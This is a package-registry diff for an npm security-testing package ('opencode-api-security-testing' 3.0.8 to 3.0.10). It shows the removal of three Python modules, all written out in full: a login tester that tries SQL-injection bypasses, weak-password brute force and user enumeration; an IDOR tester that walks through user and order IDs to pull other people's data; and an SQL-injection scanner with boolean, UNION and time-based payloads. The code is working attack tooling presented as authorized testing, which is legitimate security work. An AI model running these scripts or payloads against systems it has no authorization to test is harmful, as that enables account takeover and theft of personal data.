opencode-api-security-testing 3.0.8 → 3.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (79) hide show
  1. package/agents/api-cyber-supervisor.md +9 -3
  2. package/agents/api-probing-miner.md +10 -2
  3. package/agents/api-resource-specialist.md +44 -35
  4. package/agents/api-vuln-verifier.md +56 -24
  5. package/package.json +1 -1
  6. package/postinstall.mjs +1 -0
  7. package/preuninstall.mjs +43 -32
  8. package/src/index.ts +3 -100
  9. package/README.md +0 -74
  10. package/SKILL.md +0 -1797
  11. package/core/advanced_recon.py +0 -788
  12. package/core/agentic_analyzer.py +0 -445
  13. package/core/analyzers/api_parser.py +0 -210
  14. package/core/analyzers/response_analyzer.py +0 -212
  15. package/core/analyzers/sensitive_finder.py +0 -184
  16. package/core/api_fuzzer.py +0 -422
  17. package/core/api_interceptor.py +0 -525
  18. package/core/api_parser.py +0 -955
  19. package/core/browser_tester.py +0 -479
  20. package/core/cloud_storage_tester.py +0 -1330
  21. package/core/collectors/__init__.py +0 -23
  22. package/core/collectors/api_path_finder.py +0 -300
  23. package/core/collectors/browser_collect.py +0 -645
  24. package/core/collectors/browser_collector.py +0 -411
  25. package/core/collectors/http_client.py +0 -111
  26. package/core/collectors/js_collector.py +0 -490
  27. package/core/collectors/js_parser.py +0 -780
  28. package/core/collectors/url_collector.py +0 -319
  29. package/core/context_manager.py +0 -682
  30. package/core/deep_api_tester_v35.py +0 -844
  31. package/core/deep_api_tester_v55.py +0 -366
  32. package/core/dynamic_api_analyzer.py +0 -532
  33. package/core/http_client.py +0 -179
  34. package/core/models.py +0 -296
  35. package/core/orchestrator.py +0 -890
  36. package/core/prerequisite.py +0 -227
  37. package/core/reasoning_engine.py +0 -1042
  38. package/core/response_classifier.py +0 -606
  39. package/core/runner.py +0 -938
  40. package/core/scan_engine.py +0 -599
  41. package/core/skill_executor.py +0 -435
  42. package/core/skill_executor_v2.py +0 -670
  43. package/core/skill_executor_v3.py +0 -704
  44. package/core/smart_analyzer.py +0 -687
  45. package/core/strategy_pool.py +0 -707
  46. package/core/testers/auth_tester.py +0 -264
  47. package/core/testers/idor_tester.py +0 -200
  48. package/core/testers/sqli_tester.py +0 -211
  49. package/core/testing_loop.py +0 -655
  50. package/core/utils/base_path_dict.py +0 -255
  51. package/core/utils/payload_lib.py +0 -167
  52. package/core/utils/ssrf_detector.py +0 -220
  53. package/core/verifiers/vuln_verifier.py +0 -536
  54. package/references/README.md +0 -72
  55. package/references/asset-discovery.md +0 -119
  56. package/references/fuzzing-patterns.md +0 -129
  57. package/references/graphql-guidance.md +0 -108
  58. package/references/intake.md +0 -84
  59. package/references/pua-agent.md +0 -192
  60. package/references/report-template.md +0 -156
  61. package/references/rest-guidance.md +0 -76
  62. package/references/severity-model.md +0 -76
  63. package/references/test-matrix.md +0 -86
  64. package/references/validation.md +0 -78
  65. package/references/vulnerabilities/01-sqli-tests.md +0 -1128
  66. package/references/vulnerabilities/02-user-enum-tests.md +0 -423
  67. package/references/vulnerabilities/03-jwt-tests.md +0 -499
  68. package/references/vulnerabilities/04-idor-tests.md +0 -362
  69. package/references/vulnerabilities/05-sensitive-data-tests.md +0 -466
  70. package/references/vulnerabilities/06-biz-logic-tests.md +0 -501
  71. package/references/vulnerabilities/07-security-config-tests.md +0 -511
  72. package/references/vulnerabilities/08-brute-force-tests.md +0 -457
  73. package/references/vulnerabilities/09-vulnerability-chains.md +0 -465
  74. package/references/vulnerabilities/10-auth-tests.md +0 -537
  75. package/references/vulnerabilities/11-graphql-tests.md +0 -355
  76. package/references/vulnerabilities/12-ssrf-tests.md +0 -396
  77. package/references/vulnerabilities/README.md +0 -148
  78. package/references/workflows.md +0 -192
  79. package/src/hooks/directory-agents-injector.ts +0 -106
@@ -1,264 +0,0 @@
1
- """
2
- 认证测试 - 测试认证绕过、暴力破解、用户枚举
3
- 输入: {login_url, test_mode, payloads, max_attempts}
4
- 输出: {vulnerable, bypass_payload, weak_credential, lockout_detected}
5
- """
6
-
7
- import requests
8
- import time
9
- import json
10
-
11
- requests.packages.urllib3.disable_warnings()
12
-
13
-
14
- # 认证绕过Payload
15
- AUTH_BYPASS_PAYLOADS = [
16
- {"username": "admin", "password": "admin"},
17
- {"username": "admin", "password": "123456"},
18
- {"username": "admin", "password": "admin123"},
19
- {"username": "test", "password": "test"},
20
- {"username": "' OR '1'='1", "password": "any"},
21
- {"username": "admin'--", "password": "any"},
22
- {"username": "1' OR '1'='1", "password": "1"},
23
- ]
24
-
25
- # 弱密码
26
- WEAK_PASSWORDS = [
27
- "123456", "password", "admin", "admin123",
28
- "123123", "000000", "111111", "12345678",
29
- "qwerty", "abc123", "1234", "12345"
30
- ]
31
-
32
-
33
- def auth_tester(config):
34
- """
35
- 测试认证安全
36
-
37
- 输入:
38
- login_url: string - 登录接口URL
39
- test_mode: "sqli" | "bypass" | "bruteforce" | "enum"
40
- payloads?: object[] - 自定义payload
41
- max_attempts?: number - 最大尝试次数
42
-
43
- 输出:
44
- vulnerable: boolean
45
- bypass_payload?: object
46
- weak_credential?: {user, pass}
47
- lockout_detected: boolean
48
- """
49
- login_url = config.get('login_url')
50
- test_mode = config.get('test_mode', 'bypass')
51
- payloads = config.get('payloads', AUTH_BYPASS_PAYLOADS)
52
- max_attempts = config.get('max_attempts', 10)
53
-
54
- result = {
55
- 'vulnerable': False,
56
- 'bypass_payload': None,
57
- 'weak_credential': None,
58
- 'lockout_detected': False
59
- }
60
-
61
- if test_mode == 'sqli' or test_mode == 'bypass':
62
- # SQL注入绕过测试
63
- sqli_payloads = [p for p in payloads if "'" in str(p.get('username', '')) or "'" in str(p.get('password', ''))]
64
-
65
- for payload in sqli_payloads[:5]:
66
- try:
67
- resp = requests.post(
68
- login_url,
69
- json=payload,
70
- timeout=5,
71
- verify=False,
72
- headers={'Content-Type': 'application/json'}
73
- )
74
-
75
- if resp.status_code == 200:
76
- try:
77
- data = resp.json()
78
- # 检查是否登录成功
79
- if data.get('success') == True or data.get('code') == 0:
80
- if data.get('token') or data.get('data', {}).get('token'):
81
- result['vulnerable'] = True
82
- result['bypass_payload'] = payload
83
- return result
84
- except:
85
- pass
86
- except:
87
- pass
88
-
89
- if test_mode == 'bruteforce' or test_mode == 'bypass':
90
- # 暴力破解测试
91
- lockout_detected = False
92
- attempts_before_lockout = 0
93
-
94
- for i, pwd in enumerate(WEAK_PASSWORDS[:max_attempts]):
95
- try:
96
- resp = requests.post(
97
- login_url,
98
- json={"username": "admin", "password": pwd},
99
- timeout=3,
100
- verify=False,
101
- headers={'Content-Type': 'application/json'}
102
- )
103
-
104
- attempts_before_lockout += 1
105
-
106
- if resp.status_code == 200:
107
- try:
108
- data = resp.json()
109
- if data.get('success') == True or data.get('code') == 0:
110
- result['vulnerable'] = True
111
- result['weak_credential'] = {"user": "admin", "pass": pwd}
112
- return result
113
- except:
114
- pass
115
-
116
- # 检查是否被锁定
117
- if resp.status_code == 429 or 'lock' in resp.text.lower():
118
- lockout_detected = True
119
-
120
- time.sleep(0.5) # 避免过快请求
121
-
122
- except:
123
- pass
124
-
125
- result['lockout_detected'] = lockout_detected
126
- result['attempts_before_lockout'] = attempts_before_lockout
127
-
128
- if test_mode == 'enum':
129
- # 用户枚举测试
130
- error_responses = {}
131
-
132
- test_users = [
133
- "admin", "test", "user", "administrator",
134
- "root", "guest", "nonexistent_user_12345"
135
- ]
136
-
137
- for user in test_users:
138
- try:
139
- resp = requests.post(
140
- login_url,
141
- json={"username": user, "password": "wrongpwd"},
142
- timeout=5,
143
- verify=False,
144
- headers={'Content-Type': 'application/json'}
145
- )
146
-
147
- if resp.status_code == 200:
148
- body = str(resp.json())
149
- error_responses[user] = body
150
-
151
- time.sleep(0.3)
152
- except:
153
- pass
154
-
155
- # 分析响应差异
156
- unique_responses = set(error_responses.values())
157
- if len(unique_responses) > 1:
158
- # 存在响应差异,可能可以枚举用户
159
- result['vulnerable'] = True
160
- result['enum_possible'] = True
161
- result['response_patterns'] = len(unique_responses)
162
-
163
- return result
164
-
165
-
166
- def test_session_fixation(login_url):
167
- """
168
- 测试会话固定攻击
169
-
170
- 输入:
171
- login_url: string
172
-
173
- 输出:
174
- vulnerable: boolean
175
- fixation_detected: boolean
176
- """
177
- # 生成测试session
178
- test_session = "test_session_12345"
179
-
180
- # 使用测试session访问登录页
181
- try:
182
- resp1 = requests.get(login_url, timeout=5, verify=False)
183
-
184
- # 登录(使用测试session)
185
- login_data = {
186
- "username": "test",
187
- "password": "test",
188
- "session": test_session
189
- }
190
- resp2 = requests.post(
191
- login_url,
192
- json=login_data,
193
- timeout=5,
194
- verify=False,
195
- cookies={'JSESSIONID': test_session}
196
- )
197
-
198
- # 登录后session应该改变
199
- if 'set-cookie' in resp2.headers:
200
- set_cookie = resp2.headers['set-cookie'].lower()
201
- if test_session in set_cookie:
202
- return {
203
- 'vulnerable': True,
204
- 'fixation_detected': True,
205
- 'reason': 'Session未在登录后改变'
206
- }
207
-
208
- except:
209
- pass
210
-
211
- return {
212
- 'vulnerable': False,
213
- 'fixation_detected': False
214
- }
215
-
216
-
217
- def check_error_difference(login_url):
218
- """
219
- 检查登录错误响应差异(用于用户枚举)
220
-
221
- 输入:
222
- login_url: string
223
-
224
- 输出:
225
- has_difference: boolean
226
- patterns: number
227
- """
228
- test_cases = [
229
- {"username": "admin", "password": "wrong"},
230
- {"username": "nonexist", "password": "wrong"},
231
- {"username": "test", "password": "wrong"},
232
- ]
233
-
234
- responses = []
235
-
236
- for case in test_cases:
237
- try:
238
- resp = requests.post(
239
- login_url,
240
- json=case,
241
- timeout=5,
242
- verify=False,
243
- headers={'Content-Type': 'application/json'}
244
- )
245
- responses.append(str(resp.json()))
246
- except:
247
- responses.append("error")
248
-
249
- unique = set(responses)
250
-
251
- return {
252
- 'has_difference': len(unique) > 1,
253
- 'patterns': len(unique),
254
- 'responses': responses
255
- }
256
-
257
-
258
- if __name__ == '__main__':
259
- # 测试
260
- result = auth_tester({
261
- 'login_url': 'http://example.com/api/login',
262
- 'test_mode': 'bypass'
263
- })
264
- print(f"Vulnerable: {result['vulnerable']}")
@@ -1,200 +0,0 @@
1
- """
2
- IDOR越权测试 - 测试参数遍历越权
3
- 输入: {target_url, param_name, test_ids, auth_token}
4
- 输出: {vulnerable: boolean, leaked_ids: [{id, data}], severity}
5
- """
6
-
7
- import requests
8
- import json
9
- import re
10
-
11
- requests.packages.urllib3.disable_warnings()
12
-
13
-
14
- def idor_tester(config):
15
- """
16
- 测试IDOR越权漏洞
17
-
18
- 输入:
19
- target_url: string - 目标URL
20
- param_name: string - 参数名 (如 userId, orderNo)
21
- test_ids: string[] | number[] - 测试ID列表
22
- auth_token?: string - 认证token
23
-
24
- 输出:
25
- vulnerable: boolean
26
- leaked_ids: Array<{id, data}>
27
- severity: "high" | "medium" | "low"
28
- """
29
- target_url = config.get('target_url')
30
- param_name = config.get('param_name', 'id')
31
- test_ids = config.get('test_ids', [1, 2, 3])
32
- auth_token = config.get('auth_token')
33
-
34
- headers = {}
35
- if auth_token:
36
- headers['Authorization'] = f'Bearer {auth_token}'
37
-
38
- leaked_ids = []
39
- different_responses = 0
40
- total_responses = 0
41
-
42
- baseline_response = None
43
- baseline_data = None
44
-
45
- for test_id in test_ids:
46
- # 构建测试URL
47
- if '?' in target_url:
48
- test_url = f"{target_url}&{param_name}={test_id}"
49
- else:
50
- test_url = f"{target_url}?{param_name}={test_id}"
51
-
52
- try:
53
- resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
54
- total_responses += 1
55
-
56
- if resp.status_code == 200:
57
- try:
58
- data = resp.json()
59
- data_str = json.dumps(data)
60
-
61
- # 保存第一个响应作为baseline
62
- if baseline_response is None:
63
- baseline_response = data_str
64
- baseline_data = data
65
- else:
66
- # 比较响应是否不同
67
- if data_str != baseline_response:
68
- different_responses += 1
69
- # 检查是否包含有效数据
70
- if contains_business_data(data):
71
- leaked_ids.append({
72
- 'id': test_id,
73
- 'data': data_str[:500],
74
- 'size': len(data_str)
75
- })
76
- except:
77
- pass
78
-
79
- except Exception as e:
80
- pass
81
-
82
- # 判断漏洞
83
- vulnerable = False
84
- severity = 'low'
85
-
86
- if len(leaked_ids) > 0:
87
- vulnerable = True
88
- severity = 'high'
89
- elif different_responses > 0 and total_responses > 1:
90
- # 有响应差异但没有泄露数据
91
- vulnerable = False
92
- severity = 'low'
93
-
94
- return {
95
- 'vulnerable': vulnerable,
96
- 'leaked_ids': leaked_ids,
97
- 'severity': severity,
98
- 'different_responses': different_responses,
99
- 'total_responses': total_responses
100
- }
101
-
102
-
103
- def contains_business_data(data):
104
- """判断是否包含业务数据"""
105
- if not isinstance(data, dict):
106
- return False
107
-
108
- # 检查是否有意义的业务字段
109
- business_fields = [
110
- 'user', 'username', 'userId', 'user_id', 'name',
111
- 'phone', 'email', 'mobile',
112
- 'order', 'orderId', 'order_no',
113
- 'balance', 'amount', 'money',
114
- 'id', '_id',
115
- 'token', 'session'
116
- ]
117
-
118
- data_str = json.dumps(data).lower()
119
-
120
- # 简单判断:包含多个业务字段
121
- match_count = sum(1 for f in business_fields if f.lower() in data_str)
122
-
123
- return match_count >= 2
124
-
125
-
126
- def idor_chain_tester(config):
127
- """
128
- 测试IDOR链 - 从用户ID到订单ID到退款
129
-
130
- 输入:
131
- base_url: string
132
- user_ids: number[]
133
- order_ids?: number[]
134
-
135
- 输出:
136
- chain_found: boolean
137
- chain_steps: Array<{endpoint, param, result}>
138
- """
139
- base_url = config.get('base_url')
140
- user_ids = config.get('user_ids', [1, 2])
141
- order_ids = config.get('order_ids', [1, 2])
142
-
143
- chain_steps = []
144
-
145
- # Step 1: 测试用户信息
146
- for uid in user_ids:
147
- url = f"{base_url}/api/user/info?userId={uid}"
148
- try:
149
- resp = requests.get(url, timeout=5, verify=False)
150
- if resp.status_code == 200:
151
- try:
152
- data = resp.json()
153
- if contains_business_data(data):
154
- chain_steps.append({
155
- 'step': 1,
156
- 'endpoint': '/api/user/info',
157
- 'param': f'userId={uid}',
158
- 'result': 'leaked'
159
- })
160
- except:
161
- pass
162
- except:
163
- pass
164
-
165
- # Step 2: 测试订单列表
166
- for uid in user_ids:
167
- url = f"{base_url}/api/order/list?userId={uid}"
168
- try:
169
- resp = requests.get(url, timeout=5, verify=False)
170
- if resp.status_code == 200:
171
- try:
172
- data = resp.json()
173
- if isinstance(data, dict) and data.get('data'):
174
- chain_steps.append({
175
- 'step': 2,
176
- 'endpoint': '/api/order/list',
177
- 'param': f'userId={uid}',
178
- 'result': 'leaked'
179
- })
180
- except:
181
- pass
182
- except:
183
- pass
184
-
185
- chain_found = len(chain_steps) > 0
186
-
187
- return {
188
- 'chain_found': chain_found,
189
- 'chain_steps': chain_steps
190
- }
191
-
192
-
193
- if __name__ == '__main__':
194
- # 测试
195
- result = idor_tester({
196
- 'target_url': 'http://example.com/api/user/info',
197
- 'param_name': 'userId',
198
- 'test_ids': [1, 2, 3]
199
- })
200
- print(f"Vulnerable: {result['vulnerable']}, Leaked: {len(result['leaked_ids'])}")
@@ -1,211 +0,0 @@
1
- """
2
- SQL注入测试
3
- 输入: {target_url, method, param_name, payloads, check_union, check_boolean}
4
- 输出: {vulnerable, payload_used, error_detected, time_based}
5
- """
6
-
7
- import requests
8
- import json
9
- import time
10
- import re
11
-
12
- requests.packages.urllib3.disable_warnings()
13
-
14
-
15
- # SQL注入Payload
16
- SQLI_PAYLOADS = [
17
- "' OR '1'='1",
18
- "' OR '1'='1' --",
19
- "' OR '1'='1' #",
20
- "admin'--",
21
- "admin' OR '1'='1",
22
- "' UNION SELECT NULL--",
23
- "' UNION SELECT NULL,NULL--",
24
- "' UNION SELECT 1,2,3--",
25
- "1' AND '1'='1",
26
- "1' AND '1'='2",
27
- "1' OR '1'='1",
28
- ]
29
-
30
- # SQL错误特征
31
- SQL_ERROR_PATTERNS = [
32
- 'sql', 'syntax error', 'mysql', 'postgresql', 'oracle',
33
- 'sqlite', 'sqlstate', 'microsoft sql', 'odbc driver',
34
- 'sql error', 'sqlsrv', 'mariadb', 'access denied',
35
- 'sql_injection', 'sql injection'
36
- ]
37
-
38
-
39
- def sqli_tester(config):
40
- """
41
- 测试SQL注入漏洞
42
-
43
- 输入:
44
- target_url: string - 目标URL
45
- method: "GET" | "POST"
46
- param_name?: string - 参数名
47
- payloads?: string[] - 自定义payload
48
- check_union?: boolean - 是否检测UNION注入
49
- check_boolean?: boolean - 是否检测布尔注入
50
-
51
- 输出:
52
- vulnerable: boolean
53
- payload_used?: string
54
- error_detected?: string
55
- time_based?: boolean
56
- """
57
- target_url = config.get('target_url')
58
- method = config.get('method', 'POST').upper()
59
- param_name = config.get('param_name', 'id')
60
- payloads = config.get('payloads', SQLI_PAYLOADS)
61
-
62
- result = {
63
- 'vulnerable': False,
64
- 'payload_used': None,
65
- 'error_detected': None,
66
- 'time_based': False
67
- }
68
-
69
- for payload in payloads:
70
- try:
71
- # 构建测试请求
72
- if method == 'GET':
73
- if '?' in target_url:
74
- test_url = f"{target_url}&{param_name}={payload}"
75
- else:
76
- test_url = f"{target_url}?{param_name}={payload}"
77
- resp = requests.get(test_url, timeout=10, verify=False)
78
- else:
79
- test_data = {param_name: payload}
80
- resp = requests.post(
81
- target_url,
82
- json=test_data,
83
- timeout=10,
84
- verify=False
85
- )
86
-
87
- # 检查SQL错误
88
- if resp.status_code == 200:
89
- body = resp.text.lower()
90
-
91
- # 检查是否包含SQL错误
92
- for error_pattern in SQL_ERROR_PATTERNS:
93
- if error_pattern in body:
94
- result['vulnerable'] = True
95
- result['payload_used'] = payload
96
- result['error_detected'] = error_pattern
97
- return result
98
-
99
- # 检查响应差异(可能表示注入生效)
100
- if "or '1'='1" in payload.lower():
101
- # 布尔注入测试
102
- # 正常: 1 -> 假: payload -> 应该不同
103
- pass
104
-
105
- except Exception as e:
106
- pass
107
-
108
- return result
109
-
110
-
111
- def sqli_time_based_tester(config):
112
- """
113
- 时间盲注测试
114
-
115
- 输入:
116
- target_url: string
117
- method: "GET" | "POST"
118
- param_name: string
119
- delay: number - 延迟秒数
120
-
121
- 输出:
122
- vulnerable: boolean
123
- time_taken: number
124
- """
125
- target_url = config.get('target_url')
126
- method = config.get('method', 'GET').upper()
127
- param_name = config.get('param_name', 'id')
128
- delay = config.get('delay', 5)
129
-
130
- payload = f"1' AND SLEEP({delay})--"
131
-
132
- start = time.time()
133
-
134
- try:
135
- if method == 'GET':
136
- test_url = f"{target_url}?{param_name}={payload}"
137
- resp = requests.get(test_url, timeout=30, verify=False)
138
- else:
139
- test_data = {param_name: payload}
140
- resp = requests.post(target_url, json=test_data, timeout=30, verify=False)
141
-
142
- elapsed = time.time() - start
143
-
144
- if elapsed >= delay:
145
- return {
146
- 'vulnerable': True,
147
- 'time_taken': elapsed,
148
- 'payload': payload
149
- }
150
- except:
151
- pass
152
-
153
- return {
154
- 'vulnerable': False,
155
- 'time_taken': elapsed if 'elapsed' in dir() else 0
156
- }
157
-
158
-
159
- def verify_sqli_response(response):
160
- """
161
- 验证响应是否是SQL注入结果
162
-
163
- 输入:
164
- response: {status, body, headers}
165
-
166
- 输出:
167
- is_sqli: boolean
168
- sqli_type: string
169
- evidence: string
170
- """
171
- body = response.get('body', '').lower()
172
-
173
- # 检查SQL错误
174
- for pattern in SQL_ERROR_PATTERNS:
175
- if pattern in body:
176
- return {
177
- 'is_sqli': True,
178
- 'sqli_type': 'error_based',
179
- 'evidence': pattern
180
- }
181
-
182
- # 检查是否是数据库错误JSON
183
- try:
184
- data = json.loads(response.get('body', ''))
185
- if isinstance(data, dict):
186
- msg = str(data.get('msg', '')).lower()
187
- for pattern in SQL_ERROR_PATTERNS:
188
- if pattern in msg:
189
- return {
190
- 'is_sqli': True,
191
- 'sqli_type': 'error_based',
192
- 'evidence': msg[:200]
193
- }
194
- except:
195
- pass
196
-
197
- return {
198
- 'is_sqli': False,
199
- 'sqli_type': None,
200
- 'evidence': None
201
- }
202
-
203
-
204
- if __name__ == '__main__':
205
- # 测试
206
- result = sqli_tester({
207
- 'target_url': 'http://example.com/api/login',
208
- 'method': 'POST',
209
- 'param_name': 'username'
210
- })
211
- print(f"Vulnerable: {result['vulnerable']}")